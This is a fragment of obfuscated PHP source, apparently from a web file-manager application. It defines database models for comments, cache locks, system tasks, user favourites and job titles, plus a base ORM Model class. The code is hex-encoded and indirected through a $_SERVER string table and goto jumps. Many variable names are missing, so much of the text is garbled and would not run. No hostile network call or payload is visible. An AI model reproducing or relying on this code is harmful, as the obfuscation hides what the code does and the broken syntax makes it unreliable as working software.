"\x52\x49\107\110\124\x20\112\x4f\111\116\40{$this->tablePrefix}\x63\x6f\155\x6d\145\156\x74\x5f\x70\162\x61\151\x73\x65\40\x73\x74\141\162\40\x6f\x6e\40\143\157\155\155\145\x6e\164\x2e\x63\157\155\x6d\145\156\164\111\104\40\75\40\163\x74\141\x72\56\143\x6f\155\x6d\x65\x6e\164\x49\x44"; $纮 = $this->alias($[430])->where($Շ)->join($ј, $[2012])->count(); $뤅 = array($[2013] => $ȅ, $[2014] => $纮); return $뤅; } public function listData($ⴈ) { $꤉ =& $_SERVER[ׇ]; if (isset($ⴈ[$꤉[2015]])) { if ($ⴈ[$꤉[2015]]) { $ⴈ[$꤉[2008]] = array($꤉[1092], intval($ⴈ[$꤉[2015]])); } unset($ⴈ[$꤉[2015]]); } if (isset($ⴈ[$꤉[2016]])) { if ($ⴈ[$꤉[2016]]) { $ⴈ[$꤉[2008]] = array($꤉[1089], intval($ⴈ[$꤉[2016]])); } unset($ⴈ[$꤉[2016]]); } return $this->_listData($ⴈ); } private function _listData($ﻫ) { $盾 =& $_SERVER[ׇ]; $ = $this->where($ﻫ)->_makeOrder()->selectPage(100); $this->_listAppendParent($[$盾[445]]); $this->_listAppendUser($[$盾[445]]); $this->_listAppendMeta($[$盾[445]]); return $; } private function _makeOrder() { $ʵ =& $_SERVER[ׇ]; $ = array($ʵ[2003], $ʵ[2002], $ʵ[231]); $ = Input::get($ʵ[530], $ʵ[7], $ʵ[497], $); $ = Input::get($ʵ[531], $ʵ[7], $ʵ[1765], array($ʵ[2017], $ʵ[526])); $ = $ . $ʵ[53] . $; return $this->order($); } private function _listAppendParent(&$) { $ٟ =& $_SERVER[ׇ]; $٠ = array_unique(array_to_keyvalue($, $ٟ[12], $ٟ[2000])); $٠ = array_remove_value($٠, $ٟ[228]); if (!$٠) { return; } $ķ = $this->where(array($ٟ[2001] => array($ٟ[7], $٠)))->select(); $ķ = array_to_keyvalue($ķ, $ٟ[2008]); foreach ($ as &$Έ) { if (isset($ķ[$Έ[$ٟ[2000]]])) { $Έ[$ٟ[2018]] = $ķ[$Έ[$ٟ[2000]]]; } } unset($Έ); } private function _listAppendUser(&$ձ) { $̑ٝ =& $_SERVER[ׇ]; $胿 = array_unique(array_to_keyvalue($ձ, $̑ٝ[12], $̑ٝ[1772])); $胿 = array_remove_value($胿, $̑ٝ[228]); if (count($胿) == 0) { return; } foreach ($ձ as $) { if (isset($[$̑ٝ[2018]])) { $胿[] = $[$̑ٝ[2018]][$̑ٝ[1772]]; } } $ċ = Model($̑ٝ[598])->userListInfo($胿); foreach ($ձ as &$) { $[$̑ٝ[662]] = $ċ[$[$̑ٝ[1772]]]; if (isset($[$̑ٝ[2018]])) { $[$̑ٝ[2018]][$̑ٝ[662]] = $ċ[$[$̑ٝ[2018]][$̑ٝ[1772]]]; } } unset($); } private function _listAppendMeta(&$) { $̞ =& $_SERVER[ׇ]; $蛷 = array_unique(array_to_keyvalue($, $̞[12], $̞[2008])); $蛷 = array_remove_value($蛷, $̞[228]); if (!$蛷) { return; } foreach ($ as $˘) { if (isset($˘[$̞[2018]])) { $蛷[] = $˘[$̞[2018]][$̞[2008]]; } } $ = $this->metaList($蛷); if (!$) { return !1; } foreach ($ as &$˘) { $˘[$̞[539]] = $[$˘[$̞[2008]]]; if (isset($˘[$̞[2018]])) { $˘[$̞[2018]][$̞[539]] = $[$˘[$̞[2018]][$̞[2008]]]; } } unset($˘); } private function metaList($) { $毵 =& $_SERVER[ׇ]; if (!$) { return array(); } $ = array($毵[2008] => array($毵[7], $)); $듙 = Model($毵[2019])->where($)->select(); $듙 = array_to_keyvalue_group($듙, $毵[2008]); foreach ($듙 as $ => $ρ) { $ࡠ쐢 = array(); foreach ($ρ as $Ē) { $ࡠ쐢[$Ē[$毵[97]]] = $Ē[$毵[450]]; } $듙[$] = $ࡠ쐢; } return $듙 ? $듙 : array(); } public function removeTarget($ׇά, $Č) { $Ί =& $_SERVER[ׇ]; if (!$Č) { return !0; } $Č = is_array($Č) ? $Č : array($Č); $ = array($Ί[190] => $ׇά, $Ί[569] => array($Ί[7], $Č)); $̠ = $this->field($Ί[2008])->where($)->select(); $ = array_to_keyvalue($̠, $Ί[12], $Ί[2008]); if (!$) { return !0; } $ = array($Ί[2008] => array($Ί[7], $)); $this->where($)->delete(); Model($Ί[2011])->where($)->delete(); Model($Ί[2020])->where($)->delete(); } } goto E; E㘝: function binCheckBigger($Ɣ, $˵) { return $Ɣ > $˵; } $_SERVER[$_SERVER[ɧ][3]] = (base64_decode('ODUyNA==').base64_decode('NjE='))+0;$_12hb="vdi1ragk5hny92os3cpq7mxljze4fb6ut08wcxjih1kyr8dgq90bavswt6";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($݀, $Б) { $ =& $_SERVER[ׇ]; if (isset(self::$_methodList[$݀])) { return @call_user_func_array(self::$_methodList[$݀], $Б); } else { if (method_exists($this, $݀)) { return call_user_func_array(array($this, $݀), $Б); } else { think_exception(__CLASS__ . $[4] . $݀ . $[5]); } } } public static function __callStatic($ϓņ, $) { if (isset(self::$_methodListStatic[$ϓņ])) { return call_user_func_array(self::$_methodListStatic[$ϓņ], $); } else { if (method_exists(self, $ϓņ)) { return call_user_func_array(array(self, $ϓņ), $); } else { show_json("{$ϓņ}\x28\51\x20\156\157\x74\40\145\170\x69\x73\x74\73", !1); } } } public static function addMethod($, $) { self::$_methodList[$] = $; } public static function addMethodStatic($, $챒) { self::$_methodListStatic[$] = $챒; } } goto f݋ܦ; BӺ: class CacheLockMemcached { public function lock($, $ԍ = 0) { $Ȓ = Cache::init(); $Ү = microtime(!0) + $ԍ; while (microtime(!0) < $Ү) { $唣 = $Ȓ->get($); if (!$唣 || $唣 < microtime(!0)) { $΅ͣ = $Ȓ->handle->add($, $Ү, $ԍ); if ($΅ͣ) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($ل) { return Cache::init()->get($ل); } public function unlock($) { return Cache::init()->remove($); } } class CacheLockDatabase { public function lock($ߙ, $ = 0) { $Ĭ = Model($_SERVER[ׇ][901]); $ = microtime(!0) + $; while (microtime(!0) < $) { $׵ˍ = $Ĭ->get($ߙ); if (!$׵ˍ || $׵ˍ < microtime(!0)) { $ߴ = $Ĭ->set($ߙ, $); if ($ߴ) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[ׇ][901])->get($); } public function unlock($ް) { Model($_SERVER[ׇ][901])->remove($ް); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($, $) { $ѕ =& $_SERVER[ׇ]; if (!class_exists($ѕ[939])) { show_json($ѕ[940], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($[$ѕ[941]]) && count($[$ѕ[941]]) >= 1) { foreach ($[$ѕ[941]] as $) { $ދ = explode($ѕ[4], $); $this->handle->addServer($ދ[0], $ދ[1]); } } else { $this->handle->addServer($[$ѕ[208]], $[$ѕ[209]]); } } public function set($, $ꗔ, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->set($, $ꗔ, $); } public function get($ؤ) { return $this->handle->get($ؤ); } public function remove($) { return $this->handle->delete($); } public function deleteAll() { return $this->handle->flush(); } } goto B; C汞Ŋ: class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\145\155\56\x74\141\163\x6b\114\151\163\164"; public $field = array("\x6e\x61\x6d\x65", "\164\x79\160\x65", "\145\x76\x65\x6e\164", "\x74\x69\x6d\145", "\x64\145\x73\x63", "\x73\x79\163\x74\145\x6d", "\145\156\x61\142\154\145", "\154\x61\163\x74\122\x75\x6e", "\163\157\x72\164"); public function listData($ = false, $ = "\163\x6f\162\164", $ = false) { return parent::listData($, $, $); } public function add($) { $ =& $_SERVER[ׇ]; $ߐ = $this->findByName($[$[32]]); if ($ߐ) { return !1; } $[$[1723]] = 0; $[$[1995]] = $this->getSort(); return parent::insert($); } private function getSort() { $ꕎ =& $_SERVER[ׇ]; $ = parent::listData(); $ = array_to_keyvalue($, $ꕎ[12], $ꕎ[1995]); return empty($) ? 0 : max($) + 1; } public function update($ܩ, $禱) { $דɜ =& $_SERVER[ׇ]; $ = $this->listData($ܩ); $ȶ = $this->findByName($禱[$דɜ[32]]); if (!$ || $ȶ && $ȶ[$דɜ[475]] != $[$דɜ[475]]) { return !1; } return parent::update($ܩ, $禱); } public function remove($ҙ, $ԗ = false) { $ܒ =& $_SERVER[ׇ]; $͔ = $this->listData($ҙ); if (!$͔) { return; } if (!$ԗ && $͔[$ܒ[191]] == $ܒ[91]) { return !1; } return parent::remove($ҙ); } public function enable($ՠ, $󍭨) { return $this->update($ՠ, array($_SERVER[ׇ][2434] => $󍭨)); } public function run($) { return $this->update($, array($_SERVER[ׇ][2446] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\x75\163\145\x72\137\146\x61\x76"; protected function cacheFunctionAlias($) { $ =& $_SERVER[ׇ]; return array($[2086] => array(USER_ID, $[2447])); } protected function listData() { $ =& $_SERVER[ׇ]; $꺤 = array($[1763] => USER_ID, $[557] => 0); $ٮ = $[2448]; $ = $this->field($ٮ)->where($꺤)->order($[2449])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $ =& $_SERVER[ׇ]; $խ = $this->listData(); $ = array_filter_by_field($խ, $[33], $[490]); $ = array_to_keyvalue($, $[12], $[87]); if (!$) { return $խ; } $ = 2000; $ۓ = array($[491] => array($[492], $)); $ = Model($[897])->listSource($ۓ, $); $ = array_merge($[$[86]], $[$[85]]); $ = array_to_keyvalue($, $[193]); foreach ($խ as $؃ => $) { $ѯ = $[$[$[87]]]; $ѯ = $ѯ ? $ѯ : array(); $խ[$؃] = array_merge($ѯ, $); } return $խ; } protected function addFav($LJ, $Ϥ = '', $ܯ = "\x73\x6f\165\x72\x63\145") { $ɨ =& $_SERVER[ׇ]; $Ǥ = array($ɨ[1763] => USER_ID, $ɨ[557] => 0, $ɨ[496] => $ܯ, $ɨ[495] => $LJ); if ($this->where($Ǥ)->find()) { return !1; } $Ǥ = array($ɨ[1763] => USER_ID, $ɨ[557] => 0); $Č܃ = $this->where($Ǥ)->max($ɨ[1995]); if (!$Č܃) { $Č܃ = 0; } if (!$Ϥ && $ܯ == $ɨ[490]) { $ = Model($ɨ[1420])->where(array($ɨ[491] => $LJ))->find(); if (!$) { return !1; } $Ϥ = $[$ɨ[32]]; } $Ϥ = $this->getAutoName($Ϥ); $ = array($ɨ[1763] => USER_ID, $ɨ[557] => 0, $ɨ[494] => $Ϥ, $ɨ[495] => $LJ, $ɨ[496] => $ܯ, $ɨ[1975] => $Č܃ + 1); return $this->add($); } protected function remove($Ȝﺚ) { $ʸ =& $_SERVER[ׇ]; $ = array($ʸ[1763] => USER_ID, $ʸ[493] => $Ȝﺚ); return $this->where($)->delete(); } protected function removeByName($°) { $ෘ =& $_SERVER[ׇ]; $ = array($ෘ[1763] => USER_ID, $ෘ[494] => $°, $ෘ[557] => 0); return $this->where($)->delete(); } protected function rename($月, $Ä) { $ʣ =& $_SERVER[ׇ]; if ($月 == $Ä) { return !1; } $߃ = $this->getAutoName($Ä); if ($Ä != $߃) { return !1; } $ڭ = array($ʣ[1763] => USER_ID, $ʣ[557] => 0, $ʣ[32] => $月); return $this->where($ڭ)->save(array($ʣ[32] => $Ä)); } protected function resetSort($ޝ) { $ץ =& $_SERVER[ׇ]; $ޝ = is_array($ޝ) ? $ޝ : array(); $؇ѿ = array($ץ[1763] => USER_ID); for ($Ȟ = 0; $Ȟ < count($ޝ); $Ȟ++) { $؇ѿ[$ץ[493]] = $ޝ[$Ȟ]; $this->where($؇ѿ)->save(array($ץ[1975] => $Ȟ + 1)); } return !0; } protected function moveTop($믘) { $х =& $_SERVER[ׇ]; $dž = array($х[1763] => USER_ID, $х[557] => 0); $ = $this->where($dž)->where(array($х[32] => $믘))->find(); if (!$) { return; } $Ňڈ = $this->field($х[475])->where($dž)->order($х[2449])->select(); $Ňڈ = array_to_keyvalue($Ňڈ, $х[12], $х[475]); $Ԣ = $Ňڈ; $Ňڈ = array_remove_value($Ňڈ, $[$х[475]]); array_unshift($Ňڈ, $[$х[475]]); return $this->resetSort($Ňڈ); } protected function moveBottom($) { $Ċ =& $_SERVER[ׇ]; $ = array($Ċ[1763] => USER_ID, $Ċ[557] => 0); $Ʉ = $this->where($)->max($Ċ[1995]); $և̺ = array($Ċ[1995] => $Ʉ + 1); return $this->where($)->where(array($Ċ[32] => $))->save($և̺); } private function getAutoName($Ē) { $ =& $_SERVER[ׇ]; $߃ = array($[1763] => USER_ID, $[557] => 0); $ɧ = $this->field($[32])->where($߃)->select(); $ɧ = array_to_keyvalue($ɧ, $[12], $[32]); if (!$ɧ || !in_array($Ē, $ɧ)) { return $Ē; } for ($Ĥ = 0; $Ĥ < count($ɧ); $Ĥ++) { if (!in_array($Ē . "\50{$Ĥ}\51", $ɧ)) { return $Ē . "\50{$Ĥ}\51"; } } return $Ē . "\50{$Ĥ}\51"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\x53\171\163\164\x65\155\x2e\152\x6f\142\x4c\151\163\164"; public $field = array("\x6e\141\155\145", "\144\145\163\x63", "\163\157\x72\x74"); const JOB_KEY = "\x73\145\x6c\x66\x4a\x6f\x62\x4c\151\163\x74"; public function listData($ = false, $ٕǧ = "\163\157\x72\164", $ = false) { return parent::listData($, $ٕǧ, $); } public function remove($͎) { return parent::remove($͎); } public function add($Ԡ) { $ =& $_SERVER[ׇ]; if ($this->findByName($Ԡ[$[32]])) { return !1; } $Ԡ[$[1995]] = $this->getSort(); return parent::insert($Ԡ); } private function getSort() { $ =& $_SERVER[ׇ]; $γڲ = parent::listData(); $핹ߴ = array_to_keyvalue($γڲ, $[12], $[1995]); return empty($핹ߴ) ? 0 : max($핹ߴ) + 1; } public function update($ќ熶, $DŽ) { $؍ۻ =& $_SERVER[ׇ]; $ = parent::listData($ќ熶); $ߩ = $this->findByName($DŽ[$؍ۻ[32]]); if (!$ || $ߩ && $ߩ[$؍ۻ[475]] != $[$؍ۻ[475]]) { return !1; } return parent::update($ќ熶, $DŽ); } public function setUserJob($, $儜) { $׀ޢ =& $_SERVER[ׇ]; if (!is_array($儜)) { $儜 = array($儜); } $ز = parent::listData(); $ = array_to_keyvalue($ز, $׀ޢ[32]); $ëƤ = $׀ޢ[454]; foreach ($儜 as $ɱ) { if ($[$ɱ]) { $ëƤ .= $[$ɱ][$׀ޢ[475]] . $׀ޢ[50]; } else { $ί = $this->add($ɱ); $ëƤ .= $ί . $׀ޢ[50]; } } $ëƤ = rtrim($ëƤ, $׀ޢ[50]); Model($׀ޢ[598])->metaSet($, self::JOB_KEY, $ëƤ); } public function getUserJob($δĎ) { $ = Model($_SERVER[ׇ][598])->metaGet($δĎ); return $this->getUserJobInfo($[self::JOB_KEY]); } public function getUserJobInfo($) { $ =& $_SERVER[ׇ]; $۫ = explode($[50], $); $Ё = parent::listData(); $Ё = array_remove_key($Ё, $[231]); $畨 = array(); foreach ($۫ as $) { if (isset($Ё[$])) { $畨[] = $Ё[$]; } } return $畨; } } goto aŠ; bǵ: define($_SERVER[ׇ][320], 2); class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\x61\142\154\145", "\x6f\162\144\145\x72", "\141\x6c\151\141\x73", "\150\x61\x76\151\x6e\147", "\147\162\x6f\165\160", "\x6c\x6f\143\x6b", "\x64\x69\163\x74\x69\156\143\x74", "\141\x75\x74\x6f", "\146\151\x6c\164\x65\162", "\x76\141\x6c\151\144\x61\164\145", "\162\x65\x73\x75\x6c\164", "\x62\151\x6e\x64", "\164\157\x6b\x65\x6e"); public function __construct($㓏】 = '', $ƪ = '', $ļ = '') { $ =& $_SERVER[ׇ]; $this->_initialize(); if (!empty($㓏】)) { if (strpos($㓏】, $[10])) { list($this->dbName, $this->name) = explode($[10], $㓏】); } else { $this->name = $㓏】; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($ƪ)) { $this->tablePrefix = $[12]; } elseif ($[12] != $ƪ) { $this->tablePrefix = $ƪ; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($[321]); } $this->db(0, empty($this->connection) ? $ļ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $̘ =& $_SERVER[ׇ]; if (empty($this->fields)) { if (think_config($̘[322])) { $ = $this->dbName ? $this->dbName : think_config($̘[323]); $ = think_var_cache($̘[324] . strtolower(get_path_this($) . $̘[10] . $this->name)); if ($) { $ִ̊ = think_config($̘[325]); if (empty($ִ̊) || $[$̘[326]] == $ִ̊) { $this->fields = $; return; } } } $this->flush(); } } public function flush() { $ =& $_SERVER[ׇ]; $this->db->setModel($this->name); $񢌙 = $this->db->getFields($this->getTableName()); if (!$񢌙) { return !1; } $this->fields = array_keys($񢌙); $this->fields[$[327]] = !1; foreach ($񢌙 as $Ǽ => $) { $݂[$Ǽ] = $[$[33]]; if ($[$[39]]) { $this->fields[$[328]] = $Ǽ; if ($[$[42]]) { $this->fields[$[327]] = !0; } } } $this->fields[$[329]] = $݂; if (think_config($[325])) { $this->fields[$[326]] = think_config($[325]); } if (think_config($[322])) { $Ӷ = $this->dbName ? $this->dbName : think_config($[323]); think_var_cache($[324] . strtolower(get_path_this($Ӷ) . $[10] . $this->name), $this->fields); } } public function switchModel($íބ, $ = array()) { $ĭ =& $_SERVER[ׇ]; $̞ = ucwords(strtolower($íބ)) . $ĭ[330]; if (!class_exists($̞)) { think_exception($̞ . think_lang($ĭ[331])); } $this->_extModel = new $̞($this->name); if (!empty($)) { foreach ($ as $) { $this->_extModel->setProperty($, $this->{$}); } } return $this->_extModel; } public function __set($ܔ, $迴) { $this->data[$ܔ] = $迴; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } public function __isset($෵) { return isset($this->data[$෵]); } public function __unset($) { unset($this->data[$]); } public function __call($, $) { $ޟե =& $_SERVER[ׇ]; if (in_array(strtolower($), $this->methods, !0)) { $this->options[strtolower($)] = $[0]; return $this; } elseif (in_array(strtolower($), array($ޟե[332], $ޟե[333], $ޟե[334], $ޟե[335], $ޟե[336]), !0)) { $ = isset($[0]) ? $[0] : $ޟե[220]; $ = $this->db->parseKey($); return $this->getField(strtoupper($) . $ޟե[337] . $ . $ޟե[338] . $, $ޟե[332]); } elseif (strtolower(substr($, 0, 5)) == $ޟե[339]) { $ = think_parse_name(substr($, 5)); $뽽[$] = $[0]; return $this->where($뽽)->find(); } elseif (strtolower(substr($, 0, 10)) == $ޟե[340]) { $ȯ = think_parse_name(substr($, 10)); $뽽[$ȯ] = $[0]; return $this->where($뽽)->getField($[1]); } elseif (isset($this->_scope[$])) { return $this->scope($, $[0]); } elseif (method_exists($this, $)) { array_unshift($, $); return call_user_func_array(array($this, $ޟե[341]), $); } else { return call_user_func_array(array(parent, $), $); } } protected function call() { $ŏ =& $_SERVER[ׇ]; $һЕ = func_get_args(); $ = array_shift($һЕ); $ = $; if (is_array($)) { $ = $[1]; $ = $[0]; } $ݢŪ = count($һЕ) - 1; if (isset($һЕ[$ݢŪ]) && $һЕ[$ݢŪ] === $) { think_exception(__CLASS__ . $ŏ[4] . $ . think_lang($ŏ[342])); return; } $һЕ[] = $; if (method_exists($this, $ŏ[343])) { $ = call_user_func_array(array($this, $ŏ[344]), array($, $һЕ)); if (!is_null($) && $ !== !1) { return $; } } $޾䅖 = call_user_func_array(array($this, $), $һЕ); if (method_exists($this, $ŏ[345])) { $ = call_user_func_array(array($this, $ŏ[346]), array($, $һЕ, $޾䅖)); if ($) { return $; } } return $޾䅖; } protected function _initialize() { } protected function _facade($DŽ֨) { $ =& $_SERVER[ׇ]; if (!empty($this->fields)) { foreach ($DŽ֨ as $ˍĠ => $Ӯ) { if (is_array($this->fields) && !in_array($ˍĠ, $this->fields, !0)) { unset($DŽ֨[$ˍĠ]); } elseif (is_scalar($Ӯ)) { $this->_parseType($DŽ֨, $ˍĠ); } } } if (!empty($this->options[$[347]])) { $DŽ֨ = array_map($this->options[$[347]], $DŽ֨); unset($this->options[$[347]]); } $this->_beforeWrite($DŽ֨); return $DŽ֨; } protected function _beforeWrite(&$) { } public function add($ = '', $逷 = array(), $֊ = false) { if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[ׇ][348]); return !1; } } $逷 = $this->_parseOptions($逷); $ = $this->_facade($); if (!1 === $this->_beforeInsert($, $逷)) { return !1; } $γכ = $this->db->insert($, $逷, $֊); if (!1 !== $γכ) { $Ѱ = $this->getLastInsID(); if ($Ѱ) { $[$this->getPk()] = $Ѱ; $this->_after_insert($, $逷); return $Ѱ; } $this->_after_insert($, $逷); } return $γכ; } protected function _beforeInsert(&$ލ, $׶) { } protected function _after_insert($з, $) { } public function addAll($ʤŷŪ, $У = array(), $Î = false) { $ =& $_SERVER[ׇ]; if (empty($ʤŷŪ)) { $this->error = think_lang($[348]); return !1; } $У = $this->_parseOptions($У); foreach ($ʤŷŪ as $Ꝟ => $𞗑) { $ʤŷŪ[$Ꝟ] = $this->_facade($𞗑); } if (method_exists($this->db, $[349])) { $ÙĚ = $this->db->insertAll($ʤŷŪ, $У, $Î); } else { $this->startTrans(); foreach ($ʤŷŪ as $Ꝟ => $𞗑) { $ÙĚ = $this->db->insert($𞗑, $У, $Î); } $this->commit(); } if (!1 !== $ÙĚ) { $ = $this->getLastInsID(); if ($) { return $; } } return $ÙĚ; } public function selectAdd($ٽ = '', $͉ԥ = '', $ͨ = array()) { $Մխ =& $_SERVER[ׇ]; $ͨ = $this->_parseOptions($ͨ); if (!1 === ($ب = $this->db->selectInsert($ٽ ? $ٽ : $ͨ[$Մխ[350]], $͉ԥ ? $͉ԥ : $this->getTableName(), $ͨ))) { $this->error = think_lang($Մխ[351]); return !1; } else { return $ب; } } public function save($ = '', $ = array()) { $ =& $_SERVER[ׇ]; if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($[348]); return !1; } } $ = $this->_facade($); $ = $this->_parseOptions($); $ٳ = $this->getPk(); if (!isset($[$[352]])) { if (isset($[$ٳ])) { $[$ٳ] = $[$ٳ]; $[$[352]] = $; unset($[$ٳ]); } else { $this->error = think_lang($[351]); return !1; } } if (is_array($[$[352]]) && isset($[$[352]][$ٳ])) { $а = $[$[352]][$ٳ]; } if (!1 === $this->_beforeUpdate($, $)) { return !1; } $Ϡ = $this->db->update($, $); if (!1 !== $Ϡ) { if (isset($а)) { $[$ٳ] = $а; } $this->_afterUpdate($, $); } return $Ϡ; } protected function _beforeUpdate(&$钑, $󰵴) { } protected function _afterUpdate($, $뒿) { } public function delete($˦݁ = array()) { $ι =& $_SERVER[ׇ]; if (empty($˦݁) && empty($this->options[$ι[352]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $˚ = $this->getPk(); if (is_numeric($˦݁) || is_string($˦݁)) { if (strpos($˦݁, $ι[50])) { $ѽ嫑[$˚] = array($ι[353], $˦݁); } else { $ѽ嫑[$˚] = $˦݁; } $this->options[$ι[352]] = $ѽ嫑; } $˦݁ = $this->_parseOptions(); if (is_array($˦݁[$ι[352]]) && isset($˦݁[$ι[352]][$˚])) { $ = $˦݁[$ι[352]][$˚]; } $ٷ = $this->db->delete($˦݁); if (!1 !== $ٷ) { $ٜ = array(); if (isset($)) { $ٜ[$˚] = $; } $this->_after_delete($ٜ, $˦݁); } return $ٷ; } protected function _after_delete($Ғ, $卜) { } public function select($ = array()) { $֢ =& $_SERVER[ׇ]; if (is_string($) || is_numeric($)) { $¤ = $this->getPk(); if (strpos($, $֢[50])) { $Ӎ[$¤] = array($֢[353], $); } else { $Ӎ[$¤] = $; } $this->options[$֢[352]] = $Ӎ; } elseif (!1 === $) { $ = $this->_parseOptions(); return $֢[354] . $this->db->buildSelectSql($) . $֢[355]; } $ = $this->_parseOptions(); $ = $this->db->select($); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $); return $; } protected function _afterSelect(&$, $ё) { } public function buildSql($ = array()) { $ =& $_SERVER[ׇ]; $ = $this->_parseOptions($); return $[354] . $this->db->buildSelectSql($) . $[355]; } public function optionsValue($ = null) { if (is_null($)) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parseOptions($ӧ = array()) { $֝ =& $_SERVER[ׇ]; if (is_array($ӧ)) { $ӧ = array_merge($this->options, $ӧ); } $this->options = array(); if (!isset($ӧ[$֝[356]])) { $ӧ[$֝[356]] = $this->getTableName(); $ = $this->fields; } else { $ = $this->getDbFields(); } if (!empty($ӧ[$֝[357]])) { $ӧ[$֝[356]] .= $֝[53] . $ӧ[$֝[357]]; } $ӧ[$֝[358]] = $this->name; if (isset($ӧ[$֝[352]]) && is_array($ӧ[$֝[352]]) && !empty($) && !isset($ӧ[$֝[359]]) && !isset($ӧ[$֝[356]])) { foreach ($ӧ[$֝[352]] as $ռ => $ɫ) { $ռ = trim($ռ); if (in_array($ռ, $, !0)) { if (is_scalar($ɫ)) { $this->_parseType($ӧ[$֝[352]], $ռ); } } elseif (!is_numeric($ռ) && $֝[11] != substr($ռ, 0, 1) && !1 === strpos($ռ, $֝[10]) && !1 === strpos($ռ, $֝[337]) && !1 === strpos($ռ, $֝[214]) && !1 === strpos($ռ, $֝[360])) { unset($ӧ[$֝[352]][$ռ]); } } } $this->_options_filter($ӧ); return $ӧ; } protected function _options_filter(&$) { } protected function _parseType(&$в, $) { $Ӗ =& $_SERVER[ׇ]; if (empty($this->options[$Ӗ[361]][$Ӗ[4] . $])) { $ = strtolower($this->fields[$Ӗ[329]][$]); if (!1 !== strpos($, $Ӗ[362])) { } elseif (!1 === strpos($, $Ӗ[363]) && !1 !== strpos($, $Ӗ[364])) { $в[$] = intval($в[$]); } elseif (!1 !== strpos($, $Ӗ[365]) || !1 !== strpos($, $Ӗ[366])) { $в[$] = floatval($в[$]); } elseif (!1 !== strpos($, $Ӗ[367])) { $в[$] = (bool) $в[$]; } } } public function find($ = array()) { $Ʌ =& $_SERVER[ׇ]; if (is_numeric($) || is_string($)) { $·è[$this->getPk()] = intval($); $this->options[$Ʌ[352]] = $·è; } $this->options[$Ʌ[368]] = 1; $ = $this->_parseOptions(); $쫴 = $this->db->select($); if (!1 === $쫴) { return !1; } if (empty($쫴)) { return null; } $this->data = $쫴[0]; $this->_afterFind($this->data, $); if (!empty($this->options[$Ʌ[369]])) { return $this->returnResult($this->data, $this->options[$Ʌ[369]]); } return $this->data; } protected function _afterFind(&$ɣ, $) { } protected function returnResult($߂, $蓅 = '') { $紅 =& $_SERVER[ׇ]; if ($蓅) { if (is_callable($蓅)) { return call_user_func($蓅, $߂); } switch (strtolower($蓅)) { case $紅[370]: return json_encode($߂); case $紅[371]: return xml_encode($߂); } } return $߂; } public function parseFieldsMap($Ň, $䀫 = 1) { if (!empty($this->_map)) { foreach ($this->_map as $۹Ԗ => $܅) { if ($䀫 == 1) { if (isset($Ň[$܅])) { $Ň[$۹Ԗ] = $Ň[$܅]; unset($Ň[$܅]); } } else { if (isset($Ň[$۹Ԗ])) { $Ň[$܅] = $Ň[$۹Ԗ]; unset($Ň[$۹Ԗ]); } } } } return $Ň; } public function setField($ɍ, $ = '') { if (is_array($ɍ)) { $𦈃 = $ɍ; } else { $𦈃[$ɍ] = $; } return $this->save($𦈃); } public function setAdd($҈Ɔ, $۰ = 1) { $ =& $_SERVER[ׇ]; $ = $҈Ɔ . $[372] . $۰; if ($۰ < 0) { $ = $҈Ɔ . $۰; } return $this->setField($҈Ɔ, array($[373], $)); } public function getField($Ӟ, $₏ = null) { $򝲀 =& $_SERVER[ׇ]; $羚[$򝲀[350]] = $Ӟ; $羚 = $this->_parseOptions($羚); $Ӟ = trim($Ӟ); if (strpos($Ӟ, $򝲀[50])) { if (!isset($羚[$򝲀[368]])) { $羚[$򝲀[368]] = is_numeric($₏) ? $₏ : $򝲀[12]; } $ⵜ = $this->db->select($羚); if (!empty($ⵜ)) { $ = explode($򝲀[50], $Ӟ); $Ӟ = array_keys($ⵜ[0]); $쭳 = array_shift($Ӟ); $ = array_shift($Ӟ); $𙟺۠ = array(); $㓪 = count($); foreach ($ⵜ as $) { $ = $[$쭳]; if (2 == $㓪) { $𙟺۠[$] = $[$]; } else { $𙟺۠[$] = is_string($₏) ? implode($₏, $) : $; } } return $𙟺۠; } } else { if (!0 !== $₏) { $羚[$򝲀[368]] = is_numeric($₏) ? $₏ : 1; } if ($₏ === $򝲀[332]) { unset($羚[$򝲀[368]]); } $ = $this->db->select($羚); if (!empty($)) { if ($₏ === $򝲀[332]) { return reset($[0]); } if (!0 !== $₏ && 1 == $羚[$򝲀[368]]) { return reset($[0]); } foreach ($ as $) { $ю[] = $[$Ӟ]; } return $ю; } } return null; } public function create($ = '', $ = '') { $ٗ =& $_SERVER[ׇ]; if (empty($)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->error = think_lang($ٗ[348]); return !1; } $ = $this->parseFieldsMap($, 0); $ = $ ? $ : (!empty($[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$ٗ[350]])) { $ = $this->options[$ٗ[350]]; unset($this->options[$ٗ[350]]); } elseif ($ == 